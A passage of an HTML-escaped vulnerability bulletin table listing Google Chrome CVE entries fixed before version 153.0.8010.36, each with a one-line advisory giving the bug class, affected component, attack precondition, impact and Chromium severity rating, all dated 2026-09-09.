&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Incorrect authorization in FileHandling in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Low)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87473&quot; target=&quot;_blank&quot;&gt;CVE-2026-87473&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Use after free in Payments in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87474&quot; target=&quot;_blank&quot;&gt;CVE-2026-87474&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Missing authorization in Omnibox in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to bypass system access restrictions into a privileged page via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87475&quot; target=&quot;_blank&quot;&gt;CVE-2026-87475&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Incorrect authorization in Loader in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to obtain sensitive information via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87476&quot; target=&quot;_blank&quot;&gt;CVE-2026-87476&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Information leak in Core in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to leak sensitive information via a crafted HTML page. (Chromium security severity: Low)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87477&quot; target=&quot;_blank&quot;&gt;CVE-2026-87477&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Observable discrepancy in Autofill in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to obtain sensitive information via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87478&quot; target=&quot;_blank&quot;&gt;CVE-2026-87478&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Insufficient policy enforcement in Extensions in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process and leveraged social engineering to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87479&quot; target=&quot;_blank&quot;&gt;CVE-2026-87479&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Use after free in Printing in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87480&quot; target=&quot;_blank&quot;&gt;CVE-2026-87480&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Incorrect authorization in WebView in Google Chrome on on Android prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87481&quot; target=&quot;_blank&quot;&gt;CVE-2026-87481&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Cleartext transmission of sensitive data in HttpsUpgrades in Google Chrome on on iOS prior to 153.0.8010.36 allowed a remote attacker to leak sensitive information via crafted network traffic. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87482&quot; target=&quot;_blank&quot;&gt;CVE-2026-87482&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Incorrect authorization in Browser in Google Chrome on on Android prior to 153.0.8010.36 allowed a remote attacker to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87483&quot; target=&quot;_blank&quot;&gt;CVE-2026-87483&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;UI misrepresentation in Geometry in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87484&quot; target=&quot;_blank&quot;&gt;CVE-2026-87484&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Incorrect authorization in CORS in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87485&quot; target=&quot;_blank&quot;&gt;CVE-2026-87485&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Clickjacking in TrustedWebActivities in Google Chrome on on Android prior to 153.0.8010.36 allowed a local attacker to spoof address bar via a co-installed app. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87486&quot; target=&quot;_blank&quot;&gt;CVE-2026-87486&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Missing authorization in FileSystem in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process and leveraged social engineering to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87487&quot; target=&quot;_blank&quot;&gt;CVE-2026-87487&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Use after free in WebGL in Google Chrome on on Android prior to 153.0.8010.36 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87488&quot; target=&quot;_blank&quot;&gt;CVE-2026-87488&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Memory corruption in V8 in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted Chrome extension. (Chromium security severity: Low)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87489&quot; target=&quot;_blank&quot;&gt;CVE-2026-87489&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Information leak in Transactions Platform in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to obtain sensitive information via a crafted HTML page. (Chromium security severity: Low)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87490&quot; target=&quot;_blank&quot;&gt;CVE-2026-87490&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Out of bounds write in V8 in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87491&quot; target=&quot;_blank&quot;&gt;CVE-2026-87491&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Incorrect authorization in DevTools in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87492&quot; target=&quot;_blank&quot;&gt;CVE-2026-87492&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Missing authorization in FileSystem in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87493&quot; target=&quot;_blank&quot;&gt;CVE-2026-87493&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Use after free in Browser in Google Chrome on on Windows prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87494&quot; target=&quot;_blank&quot;&gt;CVE-2026-87494&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Information leak in Scroll in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87495&quot; target=&quot;_blank&quot;&gt;CVE-2026-87495&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;UI misrepresentation in Browser in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87496&quot; target=&quot;_blank&quot;&gt;CVE-2026-87496&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Uninitialized resource in Codecs in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to read memory inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87497&quot; target=&quot;_blank&quot;&gt;CVE-2026-87497&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Missing authorization in WebUI in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to bypass web origin policy via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87498&quot; target=&quot;_blank&quot;&gt;CVE-2026-87498&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Incorrect authorization in Network in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87499&quot; target=&quot;_blank&quot;&gt;CVE-2026-87499&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Improper validation of array index in ANGLE in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87500&quot; target=&quot;_blank&quot;&gt;CVE-2026-87500&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;UI misrepresentation in Passwords in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87501&quot; target=&quot;_blank&quot;&gt;CVE-2026-87501&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Confused deputy in Fullscreen in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process and leveraged social engineering to spoof UI elements via a crafted HTML page. (Chromium security severity: Low)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87502&quot; target=&quot;_blank&quot;&gt;CVE-2026-87502&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Inappropriate implementation in Downloads in Google Chrome on on Android prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87503&quot; target=&quot;_blank&quot;&gt;CVE-2026-87503&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Use after free in Core in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to execute arbitrary code outside the sandbox via a crafted Chrome extension. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87504&quot; target=&quot;_blank&quot;&gt;CVE-2026-87504&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Incorrect authorization in FileSystem in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted PDF file. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87505&quot; target=&quot;_blank&quot;&gt;CVE-2026-87505&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Privilege elevation in WebUI in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87506&quot; target=&quot;_blank&quot;&gt;CVE-2026-87506&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;UI misrepresentation in Downloads in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87507&quot; target=&quot;_blank&quot;&gt;CVE-2026-87507&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Incorrect authorization in Loader in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87508&quot; target=&quot;_blank&quot;&gt;CVE-2026-87508&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Incorrect authorization in Updater in Google Chrome on on Windows prior to 153.0.8010.36 allowed a local attacker to execute arbitrary code outside the sandbox via a local program. (Chromium security severity: Low)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87509&quot; target=&quot;_blank&quot;&gt;CVE-2026-87509&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Improper input validation in FileAPI in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87510&quot; target=&quot;_blank&quot;&gt;CVE-2026-87510&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Missing authorization in DevTools in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to obtain cross-origin data via a crafted Chrome extension. (Chromium security severity: Low)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87511&quot; target=&quot;_blank&quot;&gt;CVE-2026-87511&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Use after free in ANGLE in Google Chrome on on Windows prior to 153.0.8010.36 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87512&quot; target=&quot;_blank&quot;&gt;CVE-2026-87512&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Missing authorization in ControlledFrame in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87513&quot; target=&quot;_blank&quot;&gt;CVE-2026-87513&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Use after free in Views in Google Chrome prior to 153.0.8010.36 allowed a local attacker to execute arbitrary code outside the sandbox via a local program. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87514&quot; target=&quot;_blank&quot;&gt;CVE-2026-87514&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Incorrect authorization in FileAPI in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87515&quot; target=&quot;_blank&quot;&gt;CVE-2026-87515&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Observable discrepancy in Navigation in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87516&quot; target=&quot;_blank&quot;&gt;CVE-2026-87516&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Race condition in Mobile in Google Chrome on on iOS prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to bypass web origin policy via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87517&quot; target=&quot;_blank&quot;&gt;CVE-2026-87517&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Observable discrepancy in Safebrowsing in Google Chrome on on iOS prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to potentially obtain sensitive information via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87518&quot; target=&quot;_blank&quot;&gt;CVE-2026-87518&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Incorrect authorization in Safebrowsing in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Low)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87519&quot; target=&quot;_blank&quot;&gt;CVE-2026-87519&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
